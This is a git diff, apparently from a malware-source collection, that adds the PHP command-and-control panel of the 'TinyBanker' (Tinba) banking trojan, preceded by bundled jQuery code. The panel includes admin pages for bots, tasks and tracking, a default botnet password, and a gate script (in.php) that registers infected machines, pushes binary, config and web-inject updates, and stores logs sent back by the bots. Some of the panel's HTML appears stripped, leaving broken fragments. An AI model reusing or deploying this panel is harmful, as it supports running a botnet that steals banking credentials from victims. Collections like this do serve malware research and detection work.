+ Array.prototype.push.apply( ret, array ); + + } else { + if ( typeof array.length === "number" ) { + for ( var l = array.length; i < l; i++ ) { + ret.push( array[i] ); + } + + } else { + for ( ; array[i]; i++ ) { + ret.push( array[i] ); + } + } + } + + return ret; + }; +} + +var sortOrder, siblingCheck; + +if ( document.documentElement.compareDocumentPosition ) { + sortOrder = function( a, b ) { + if ( a === b ) { + hasDuplicate = true; + return 0; + } + + if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) { + return a.compareDocumentPosition ? -1 : 1; + } + + return a.compareDocumentPosition(b) & 4 ? -1 : 1; + }; + +} else { + sortOrder = function( a, b ) { + // The nodes are identical, we can exit early + if ( a === b ) { + hasDuplicate = true; + return 0; + + // Fallback to using sourceIndex (in IE) if it's available on both nodes + } else if ( a.sourceIndex && b.sourceIndex ) { + return a.sourceIndex - b.sourceIndex; + } + + var al, bl, + ap = [], + bp = [], + aup = a.parentNode, + bup = b.parentNode, + cur = aup; + + // If the nodes are siblings (or identical) we can do a quick check + if ( aup === bup ) { + return siblingCheck( a, b ); + + // If no parents were found then the nodes are disconnected + } else if ( !aup ) { + return -1; + + } else if ( !bup ) { + return 1; + } + + // Otherwise they're somewhere else in the tree so we need + // to build up a full list of the parentNodes for comparison + while ( cur ) { + ap.unshift( cur ); + cur = cur.parentNode; + } + + cur = bup; + + while ( cur ) { + bp.unshift( cur ); + cur = cur.parentNode; + } + + al = ap.length; + bl = bp.length; + + // Start walking down the tree looking for a discrepancy + for ( var i = 0; i < al && i < bl; i++ ) { + if ( ap[i] !== bp[i] ) { + return siblingCheck( ap[i], bp[i] ); + } + } + + // We ended someplace up the tree so do a sibling check + return i === al ? + siblingCheck( a, bp[i], -1 ) : + siblingCheck( ap[i], b, 1 ); + }; + + siblingCheck = function( a, b, ret ) { + if ( a === b ) { + return ret; + } + + var cur = a.nextSibling; + + while ( cur ) { + if ( cur === b ) { + return -1; + } + + cur = cur.nextSibling; + } + + return 1; + }; +} + +// Check to see if the browser returns elements by name when +// querying by getElementById (and provide a workaround) +(function(){ + // We're going to inject a fake input element with a specified name + var form = document.createElement("div"), + id = "script" + (new Date()).getTime(), + root = document.documentElement; + + form.innerHTML = ""; + + // Inject it into the root element, check its status, and remove it quickly + root.insertBefore( form, root.firstChild ); + + // The workaround has to do additional checks after a getElementById + // Which slows things down for other browsers (hence the branching) + if ( document.getElementById( id ) ) { + Expr.find.ID = function( match, context, isXML ) { + if ( typeof context.getElementById !== "undefined" && !isXML ) { + var m = context.getElementById(match[1]); + + return m ? + m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ? + [m] : + undefined : + []; + } + }; + + Expr.filter.ID = function( elem, match ) { + var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id"); + + return elem.nodeType === 1 && node && node.nodeValue === match; + }; + } + + root.removeChild( form ); + + // release memory in IE + root = form = null; +})(); + +(function(){ + // Check to see if the browser returns only elements + // when doing getElementsByTagName("*") + + // Create a fake element + var div = document.createElement("div"); + div.appendChild( document.createComment("") ); + + // Make sure no comments are found + if ( div.getElementsByTagName("*").length > 0 ) { + Expr.find.TAG = function( match, context ) { + var results = context.getElementsByTagName( match[1] ); + + // Filter out possible comments + if ( match[1] === "*" ) { + var tmp = []; + + for ( var i = 0; results[i]; i++ ) { + if ( results[i].nodeType === 1 ) { + tmp.push( results[i] ); + } + } + + results = tmp; + } + + return results; + }; + } + + // Check to see if an attribute returns normalized href attributes + div.innerHTML = ""; + + if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" && + div.firstChild.getAttribute("href") !== "#" ) { + + Expr.attrHandle.href = function( elem ) { + return elem.getAttribute( "href", 2 ); + }; + } + + // release memory in IE + div = null; +})(); + +if ( document.querySelectorAll ) { + (function(){ + var oldSizzle = Sizzle, + div = document.createElement("div"), + id = "__sizzle__"; + + div.innerHTML = "

"; + + // Safari can't handle uppercase or unicode characters when + // in quirks mode. + if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) { + return; + } + + Sizzle = function( query, context, extra, seed ) { + context = context || document; + + // Only use querySelectorAll on non-XML documents + // (ID selectors don't work in non-HTML documents) + if ( !seed && !Sizzle.isXML(context) ) { + // See if we find a selector to speed up + var match = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec( query ); + + if ( match && (context.nodeType === 1 || context.nodeType === 9) ) { + // Speed-up: Sizzle("TAG") + if ( match[1] ) { + return makeArray( context.getElementsByTagName( query ), extra ); + + // Speed-up: Sizzle(".CLASS") + } else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) { + return makeArray( context.getElementsByClassName( match[2] ), extra ); + } + } + + if ( context.nodeType === 9 ) { + // Speed-up: Sizzle("body") + // The body element only exists once, optimize finding it + if ( query === "body" && context.body ) { + return makeArray( [ context.body ], extra ); + + // Speed-up: Sizzle("#ID") + } else if ( match && match[3] ) { + var elem = context.getElementById( match[3] ); + + // Check parentNode to catch when Blackberry 4.6 returns + // nodes that are no longer in the document #6963 + if ( elem && elem.parentNode ) { + // Handle the case where IE and Opera return items + // by name instead of ID + if ( elem.id === match[3] ) { + return makeArray( [ elem ], extra ); + } + + } else { + return makeArray( [], extra ); + } + } + + try { + return makeArray( context.querySelectorAll(query), extra ); + } catch(qsaError) {} + + // qSA works strangely on Element-rooted queries + // We can work around this by specifying an extra ID on the root + // and working up from there (Thanks to Andrew Dupont for the technique) + // IE 8 doesn't work on object elements + } else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) { + var oldContext = context, + old = context.getAttribute( "id" ), + nid = old || id, + hasParent = context.parentNode, + relativeHierarchySelector = /^\s*[+~]/.test( query ); + + if ( !old ) { + context.setAttribute( "id", nid ); + } else { + nid = nid.replace( /'/g, "\\$&" ); + } + if ( relativeHierarchySelector && hasParent ) { + context = context.parentNode; + } + + try { + if ( !relativeHierarchySelector || hasParent ) { + return makeArray( context.querySelectorAll( "[id='" + nid + "'] " + query ), extra ); + } + + } catch(pseudoError) { + } finally { + if ( !old ) { + oldContext.removeAttribute( "id" ); + } + } + } + } + + return oldSizzle(query, context, extra, seed); + }; + + for ( var prop in oldSizzle ) { + Sizzle[ prop ] = oldSizzle[ prop ]; + } + + // release memory in IE + div = null; + })(); +} + +(function(){ + var html = document.documentElement, + matches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector; + + if ( matches ) { + // Check to see if it's possible to do matchesSelector + // on a disconnected node (IE 9 fails this) + var disconnectedMatch = !matches.call( document.createElement( "div" ), "div" ), + pseudoWorks = false; + + try { + // This should fail with an exception + // Gecko does not error, returns false instead + matches.call( document.documentElement, "[test!='']:sizzle" ); + + } catch( pseudoError ) { + pseudoWorks = true; + } + + Sizzle.matchesSelector = function( node, expr ) { + // Make sure that attribute selectors are quoted + expr = expr.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']"); + + if ( !Sizzle.isXML( node ) ) { + try { + if ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) { + var ret = matches.call( node, expr ); + + // IE 9's matchesSelector returns false on disconnected nodes + if ( ret || !disconnectedMatch || + // As well, disconnected nodes are said to be in a document + // fragment in IE 9, so check for that + node.document && node.document.nodeType !== 11 ) { + return ret; + } + } + } catch(e) {} + } + + return Sizzle(expr, null, null, [node]).length > 0; + }; + } +})(); + +(function(){ + var div = document.createElement("div"); + + div.innerHTML = "
"; + + // Opera can't find a second classname (in 9.6) + // Also, make sure that getElementsByClassName actually exists + if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) { + return; + } + + // Safari caches class attributes, doesn't catch changes (in 3.2) + div.lastChild.className = "e"; + + if ( div.getElementsByClassName("e").length === 1 ) { + return; + } + + Expr.order.splice(1, 0, "CLASS"); + Expr.find.CLASS = function( match, context, isXML ) { + if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) { + return context.getElementsByClassName(match[1]); + } + }; + + // release memory in IE + div = null; +})(); + +function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { + for ( var i = 0, l = checkSet.length; i < l; i++ ) { + var elem = checkSet[i]; + + if ( elem ) { + var match = false; + + elem = elem[dir]; + + while ( elem ) { + if ( elem[ expando ] === doneName ) { + match = checkSet[elem.sizset]; + break; + } + + if ( elem.nodeType === 1 && !isXML ){ + elem[ expando ] = doneName; + elem.sizset = i; + } + + if ( elem.nodeName.toLowerCase() === cur ) { + match = elem; + break; + } + + elem = elem[dir]; + } + + checkSet[i] = match; + } + } +} + +function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { + for ( var i = 0, l = checkSet.length; i < l; i++ ) { + var elem = checkSet[i]; + + if ( elem ) { + var match = false; + + elem = elem[dir]; + + while ( elem ) { + if ( elem[ expando ] === doneName ) { + match = checkSet[elem.sizset]; + break; + } + + if ( elem.nodeType === 1 ) { + if ( !isXML ) { + elem[ expando ] = doneName; + elem.sizset = i; + } + + if ( typeof cur !== "string" ) { + if ( elem === cur ) { + match = true; + break; + } + + } else if ( Sizzle.filter( cur, [elem] ).length > 0 ) { + match = elem; + break; + } + } + + elem = elem[dir]; + } + + checkSet[i] = match; + } + } +} + +if ( document.documentElement.contains ) { + Sizzle.contains = function( a, b ) { + return a !== b && (a.contains ? a.contains(b) : true); + }; + +} else if ( document.documentElement.compareDocumentPosition ) { + Sizzle.contains = function( a, b ) { + return !!(a.compareDocumentPosition(b) & 16); + }; + +} else { + Sizzle.contains = function() { + return false; + }; +} + +Sizzle.isXML = function( elem ) { + // documentElement is verified for cases where it doesn't yet exist + // (such as loading iframes in IE - #4833) + var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement; + + return documentElement ? documentElement.nodeName !== "HTML" : false; +}; + +var posProcess = function( selector, context, seed ) { + var match, + tmpSet = [], + later = "", + root = context.nodeType ? [context] : context; + + // Position selectors must be done after the filter + // And so must :not(positional) so we move all PSEUDOs to the end + while ( (match = Expr.match.PSEUDO.exec( selector )) ) { + later += match[0]; + selector = selector.replace( Expr.match.PSEUDO, "" ); + } + + selector = Expr.relative[selector] ? selector + "*" : selector; + + for ( var i = 0, l = root.length; i < l; i++ ) { + Sizzle( selector, root[i], tmpSet, seed ); + } + + return Sizzle.filter( later, tmpSet ); +}; + +// EXPOSE +// Override sizzle attribute retrieval +Sizzle.attr = jQuery.attr; +Sizzle.selectors.attrMap = {}; +jQuery.find = Sizzle; +jQuery.expr = Sizzle.selectors; +jQuery.expr[":"] = jQuery.expr.filters; +jQuery.unique = Sizzle.uniqueSort; +jQuery.text = Sizzle.getText; +jQuery.isXMLDoc = Sizzle.isXML; +jQuery.contains = Sizzle.contains; + + +})(); + + +var runtil = /Until$/, + rparentsprev = /^(?:parents|prevUntil|prevAll)/, + // Note: This RegExp should be improved, or likely pulled from Sizzle + rmultiselector = /,/, + isSimple = /^.[^:#\[\.,]*$/, + slice = Array.prototype.slice, + POS = jQuery.expr.match.POS, + // methods guaranteed to produce a unique set when starting from a unique set + guaranteedUnique = { + children: true, + contents: true, + next: true, + prev: true + }; + +jQuery.fn.extend({ + find: function( selector ) { + var self = this, + i, l; + + if ( typeof selector !== "string" ) { + return jQuery( selector ).filter(function() { + for ( i = 0, l = self.length; i < l; i++ ) { + if ( jQuery.contains( self[ i ], this ) ) { + return true; + } + } + }); + } + + var ret = this.pushStack( "", "find", selector ), + length, n, r; + + for ( i = 0, l = this.length; i < l; i++ ) { + length = ret.length; + jQuery.find( selector, this[i], ret ); + + if ( i > 0 ) { + // Make sure that the results are unique + for ( n = length; n < ret.length; n++ ) { + for ( r = 0; r < length; r++ ) { + if ( ret[r] === ret[n] ) { + ret.splice(n--, 1); + break; + } + } + } + } + } + + return ret; + }, + + has: function( target ) { + var targets = jQuery( target ); + return this.filter(function() { + for ( var i = 0, l = targets.length; i < l; i++ ) { + if ( jQuery.contains( this, targets[i] ) ) { + return true; + } + } + }); + }, + + not: function( selector ) { + return this.pushStack( winnow(this, selector, false), "not", selector); + }, + + filter: function( selector ) { + return this.pushStack( winnow(this, selector, true), "filter", selector ); + }, + + is: function( selector ) { + return !!selector && ( + typeof selector === "string" ? + // If this is a positional selector, check membership in the returned set + // so $("p:first").is("p:last") won't return true for a doc with two "p". + POS.test( selector ) ? + jQuery( selector, this.context ).index( this[0] ) >= 0 : + jQuery.filter( selector, this ).length > 0 : + this.filter( selector ).length > 0 ); + }, + + closest: function( selectors, context ) { + var ret = [], i, l, cur = this[0]; + + // Array (deprecated as of jQuery 1.7) + if ( jQuery.isArray( selectors ) ) { + var level = 1; + + while ( cur && cur.ownerDocument && cur !== context ) { + for ( i = 0; i < selectors.length; i++ ) { + + if ( jQuery( cur ).is( selectors[ i ] ) ) { + ret.push({ selector: selectors[ i ], elem: cur, level: level }); + } + } + + cur = cur.parentNode; + level++; + } + + return ret; + } + + // String + var pos = POS.test( selectors ) || typeof selectors !== "string" ? + jQuery( selectors, context || this.context ) : + 0; + + for ( i = 0, l = this.length; i < l; i++ ) { + cur = this[i]; + + while ( cur ) { + if ( pos ? pos.index(cur) > -1 : jQuery.find.matchesSelector(cur, selectors) ) { + ret.push( cur ); + break; + + } else { + cur = cur.parentNode; + if ( !cur || !cur.ownerDocument || cur === context || cur.nodeType === 11 ) { + break; + } + } + } + } + + ret = ret.length > 1 ? jQuery.unique( ret ) : ret; + + return this.pushStack( ret, "closest", selectors ); + }, + + // Determine the position of an element within + // the matched set of elements + index: function( elem ) { + + // No argument, return index in parent + if ( !elem ) { + return ( this[0] && this[0].parentNode ) ? this.prevAll().length : -1; + } + + // index in selector + if ( typeof elem === "string" ) { + return jQuery.inArray( this[0], jQuery( elem ) ); + } + + // Locate the position of the desired element + return jQuery.inArray( + // If it receives a jQuery object, the first element is used + elem.jquery ? elem[0] : elem, this ); + }, + + add: function( selector, context ) { + var set = typeof selector === "string" ? + jQuery( selector, context ) : + jQuery.makeArray( selector && selector.nodeType ? [ selector ] : selector ), + all = jQuery.merge( this.get(), set ); + + return this.pushStack( isDisconnected( set[0] ) || isDisconnected( all[0] ) ? + all : + jQuery.unique( all ) ); + }, + + andSelf: function() { + return this.add( this.prevObject ); + } +}); + +// A painfully simple check to see if an element is disconnected +// from a document (should be improved, where feasible). +function isDisconnected( node ) { + return !node || !node.parentNode || node.parentNode.nodeType === 11; +} + +jQuery.each({ + parent: function( elem ) { + var parent = elem.parentNode; + return parent && parent.nodeType !== 11 ? parent : null; + }, + parents: function( elem ) { + return jQuery.dir( elem, "parentNode" ); + }, + parentsUntil: function( elem, i, until ) { + return jQuery.dir( elem, "parentNode", until ); + }, + next: function( elem ) { + return jQuery.nth( elem, 2, "nextSibling" ); + }, + prev: function( elem ) { + return jQuery.nth( elem, 2, "previousSibling" ); + }, + nextAll: function( elem ) { + return jQuery.dir( elem, "nextSibling" ); + }, + prevAll: function( elem ) { + return jQuery.dir( elem, "previousSibling" ); + }, + nextUntil: function( elem, i, until ) { + return jQuery.dir( elem, "nextSibling", until ); + }, + prevUntil: function( elem, i, until ) { + return jQuery.dir( elem, "previousSibling", until ); + }, + siblings: function( elem ) { + return jQuery.sibling( elem.parentNode.firstChild, elem ); + }, + children: function( elem ) { + return jQuery.sibling( elem.firstChild ); + }, + contents: function( elem ) { + return jQuery.nodeName( elem, "iframe" ) ? + elem.contentDocument || elem.contentWindow.document : + jQuery.makeArray( elem.childNodes ); + } +}, function( name, fn ) { + jQuery.fn[ name ] = function( until, selector ) { + var ret = jQuery.map( this, fn, until ); + + if ( !runtil.test( name ) ) { + selector = until; + } + + if ( selector && typeof selector === "string" ) { + ret = jQuery.filter( selector, ret ); + } + + ret = this.length > 1 && !guaranteedUnique[ name ] ? jQuery.unique( ret ) : ret; + + if ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( name ) ) { + ret = ret.reverse(); + } + + return this.pushStack( ret, name, slice.call( arguments ).join(",") ); + }; +}); + +jQuery.extend({ + filter: function( expr, elems, not ) { + if ( not ) { + expr = ":not(" + expr + ")"; + } + + return elems.length === 1 ? + jQuery.find.matchesSelector(elems[0], expr) ? [ elems[0] ] : [] : + jQuery.find.matches(expr, elems); + }, + + dir: function( elem, dir, until ) { + var matched = [], + cur = elem[ dir ]; + + while ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) { + if ( cur.nodeType === 1 ) { + matched.push( cur ); + } + cur = cur[dir]; + } + return matched; + }, + + nth: function( cur, result, dir, elem ) { + result = result || 1; + var num = 0; + + for ( ; cur; cur = cur[dir] ) { + if ( cur.nodeType === 1 && ++num === result ) { + break; + } + } + + return cur; + }, + + sibling: function( n, elem ) { + var r = []; + + for ( ; n; n = n.nextSibling ) { + if ( n.nodeType === 1 && n !== elem ) { + r.push( n ); + } + } + + return r; + } +}); + +// Implement the identical functionality for filter and not +function winnow( elements, qualifier, keep ) { + + // Can't pass null or undefined to indexOf in Firefox 4 + // Set to 0 to skip string check + qualifier = qualifier || 0; + + if ( jQuery.isFunction( qualifier ) ) { + return jQuery.grep(elements, function( elem, i ) { + var retVal = !!qualifier.call( elem, i, elem ); + return retVal === keep; + }); + + } else if ( qualifier.nodeType ) { + return jQuery.grep(elements, function( elem, i ) { + return ( elem === qualifier ) === keep; + }); + + } else if ( typeof qualifier === "string" ) { + var filtered = jQuery.grep(elements, function( elem ) { + return elem.nodeType === 1; + }); + + if ( isSimple.test( qualifier ) ) { + return jQuery.filter(qualifier, filtered, !keep); + } else { + qualifier = jQuery.filter( qualifier, filtered ); + } + } + + return jQuery.grep(elements, function( elem, i ) { + return ( jQuery.inArray( elem, qualifier ) >= 0 ) === keep; + }); +} + + + + +function createSafeFragment( document ) { + var list = nodeNames.split( "|" ), + safeFrag = document.createDocumentFragment(); + + if ( safeFrag.createElement ) { + while ( list.length ) { + safeFrag.createElement( + list.pop() + ); + } + } + return safeFrag; +} + +var nodeNames = "abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|" + + "header|hgroup|mark|meter|nav|output|progress|section|summary|time|video", + rinlinejQuery = / jQuery\d+="(?:\d+|null)"/g, + rleadingWhitespace = /^\s+/, + rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig, + rtagName = /<([\w:]+)/, + rtbody = /", "" ], + legend: [ 1, "
", "
" ], + thead: [ 1, "", "
" ], + tr: [ 2, "", "
" ], + td: [ 3, "", "
" ], + col: [ 2, "", "
" ], + area: [ 1, "", "" ], + _default: [ 0, "", "" ] + }, + safeFragment = createSafeFragment( document ); + +wrapMap.optgroup = wrapMap.option; +wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; +wrapMap.th = wrapMap.td; + +// IE can't serialize and "; + + + + + + + $result = mysql_query("SHOW PROCESSLIST"); + print "
+ + + + + + + + + + + + \n\n"; + + + while($row = mysql_fetch_array($result)){ + print " + + + + + + + + + + "; + }; + print "
IDUserHostDBCommandTimeStateInfo
$row[Id]$row[User]$row[Host]$row[db]$row[Command]".date('H:i:s',$row['Time'])."$row[State]$row[Info]
+ +
+ + +"; + + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.php new file mode 100644 index 0000000..85b43df --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.php @@ -0,0 +1,77 @@ + + + + + + + + + +
ServerApachePHPMySQL 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.php.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.php.php new file mode 100644 index 0000000..b81d642 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.php.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.server.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.server.php new file mode 100644 index 0000000..5c48f0e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.server.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.act.php new file mode 100644 index 0000000..37f230d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.act.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.php new file mode 100644 index 0000000..899947d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.php @@ -0,0 +1,62 @@ + + + + + + + + +
Updatetasks2tasks3 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.tasks2.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.tasks2.php new file mode 100644 index 0000000..64c2b69 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.tasks2.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.tasks3.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.tasks3.php new file mode 100644 index 0000000..eb701c6 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.tasks3.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.update.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.update.php new file mode 100644 index 0000000..879518f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.update.php @@ -0,0 +1,36 @@ + + + + + + +
BINARY UPDATE

"; + + + if ($STAT['mtime']) print " file size: {$STAT['size']} bytes
+ uploaded: ".date("d/m/Y - H:i:s", $STAT['mtime'])."


+ "; + + + print "
+"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.act.php new file mode 100644 index 0000000..37f230d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.act.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.php new file mode 100644 index 0000000..a89f230 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.php @@ -0,0 +1,62 @@ + + + + + + + + +
tracking1tracking2tracking3 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking1.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking1.php new file mode 100644 index 0000000..2c3fb3e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking1.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking2.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking2.php new file mode 100644 index 0000000..f1bdcb2 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking2.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking3.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking3.php new file mode 100644 index 0000000..df92d1d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking3.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/data/.htaccess b/malwares/Source/Original/TinyBanker_Jan2012/admin/data/.htaccess new file mode 100644 index 0000000..baa56e5 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/data/.htaccess @@ -0,0 +1,2 @@ +order allow,deny +deny from all \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/data/titles/botnets.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/data/titles/botnets.php new file mode 100644 index 0000000..9f064c1 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/data/titles/botnets.php @@ -0,0 +1,4 @@ + 'default_password', 'comment' => 'default botnet'); diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/data/titles/suppliers.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/data/titles/suppliers.php new file mode 100644 index 0000000..456698f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/data/titles/suppliers.php @@ -0,0 +1,4 @@ + '111'); diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/in.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/in.php new file mode 100644 index 0000000..588220b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/in.php @@ -0,0 +1,154 @@ + 0) $query .= "`time_bin`='{$time_bin}', "; + elseif (($time_cfg = Update(CMD_UPDATE_CONFIG, 'data/configs/config', $row['time_cfg'])) > 0) $query .= "`time_cfg`='{$time_cfg}', "; + elseif (($time_inj = Update(CMD_UPDATE_INJECTS, 'data/injects/injects', $row['time_inj'])) > 0) $query .= "`time_inj`='{$time_inj}', "; + } + + + if ($row['bot_uid'] == $bot_uid) { + $query = "UPDATE `bots` SET ".$query; + if ($row['bot_ip'] != $bot_ip) { + $row['bot_country'] = GetCountry($bot_ip); + $query .= "`bot_ip`='{$bot_ip}', `bot_country`='{$row['bot_country']}', "; + } + $query .= "`time_last`={$thetime} WHERE `bot_uid`='{$bot_uid}';"; + mysql_query($query); + } + else { + $row['bot_country'] = GetCountry($bot_ip); + $query = "INSERT INTO `bots` VALUES ('{$bot_uid}', '{$bot_os}', '{$bot_ip}', '{$row['bot_country']}', '{$bot_net}', '{$bot_supp}', {$supp_sub}, {$thetime}, {$thetime}, {$time_bin}, {$time_cfg}, {$time_inj}, '');"; + mysql_query($query); + } + + + + + $offset = 4; + $logs_table_name = 'logs_'.date('ymd', $thetime); + while ($offset < $DATA_len) { + $log_type = ord($DATA{$offset++}); + $log_len = ord($DATA{$offset++}) | (ord($DATA{$offset++})<<8) | (ord($DATA{$offset++})<<16) | (ord($DATA{$offset++})<<24); + $offset += $log_len; + if ($offset > $DATA_len) die; + if ($log_type==0) continue; + $log_data = mysql_escape_string(encrypt($BOTNETS[$bot_net]['password'], substr($DATA, $offset-$log_len, $log_len))); + + + $query = "INSERT INTO `{$logs_table_name}` VALUES (0, '{$bot_uid}', '{$bot_net}', '{$bot_supp}', {$supp_sub}, '{$bot_ip}', '{$row['bot_country']}', {$thetime}, {$log_type}, '{$log_data}', '');"; + if (!mysql_query($query) and mysql_errno()==1146) { + $TABLES = array(); + $res = mysql_query("SHOW TABLES LIKE 'logs%'"); + while ($row = mysql_fetch_row($res)) $TABLES[] = $row[0]; + rsort($TABLES); + $res = mysql_query("SHOW TABLE STATUS FROM `{$mysqlbase}` LIKE '{$TABLES[0]}'"); + $row = mysql_fetch_assoc($res); + mysql_query("CREATE TABLE IF NOT EXISTS `{$logs_table_name}` ( +`log_id` int(10) unsigned NOT NULL AUTO_INCREMENT, +`bot_uid` char(40) COLLATE utf8_unicode_ci NOT NULL, +`bot_net` varchar(12) COLLATE utf8_unicode_ci NOT NULL, +`bot_supp` varchar(12) COLLATE utf8_unicode_ci NOT NULL, +`supp_sub` tinyint(3) unsigned NOT NULL, +`bot_ip` varchar(15) COLLATE utf8_unicode_ci NOT NULL, +`bot_country` char(2) COLLATE utf8_unicode_ci NOT NULL, +`timestamp` int(10) unsigned NOT NULL, +`data_type` tinyint(3) unsigned NOT NULL, +`data` text COLLATE utf8_unicode_ci NOT NULL, +`comment` text COLLATE utf8_unicode_ci NOT NULL, +PRIMARY KEY (`log_id`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci AUTO_INCREMENT=".intval($row['Auto_increment'])); + mysql_query($query); + } + } + + + + + + + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/GeoIP.dat b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/GeoIP.dat new file mode 100644 index 0000000000000000000000000000000000000000..2c43e2ba1a251ab9832dea1950c283689b94e038 GIT binary patch literal 1345396 zcmZs^1=JkH6ZQRD-<_RVncaop5<>z6mjJ;M2u`pBPw?O#EJ$#NAi*I>aCdhN?(XjH z?0e@f!^{7BzjOB7bEmqxy1Kf$r^lWr16jyH9_E~s={qS?fFfKrhRerLf--DhXIz~M z1aNSXLyA-(gy%9mpCN)8OrN1o2D;rk>U#-)ut zPnLzDK0LGAT@Lo?c9(bE6)arQxRO!!hr#fatGbj|ff0^|y02cZ4r{==)>#wQa+gQK z+VEz#yN)$Cv!?JWM?)25`Lk|!1J{zxQLv$Vp;{^$Z6h)+-spBWfvsR`8{8B&gUw+J zYi^lZ7~?8qjXnDsuWjtG?2ohBwy>Sa_C~px-+K$GZjB0cj*cEnz-Jy~p$gl_O 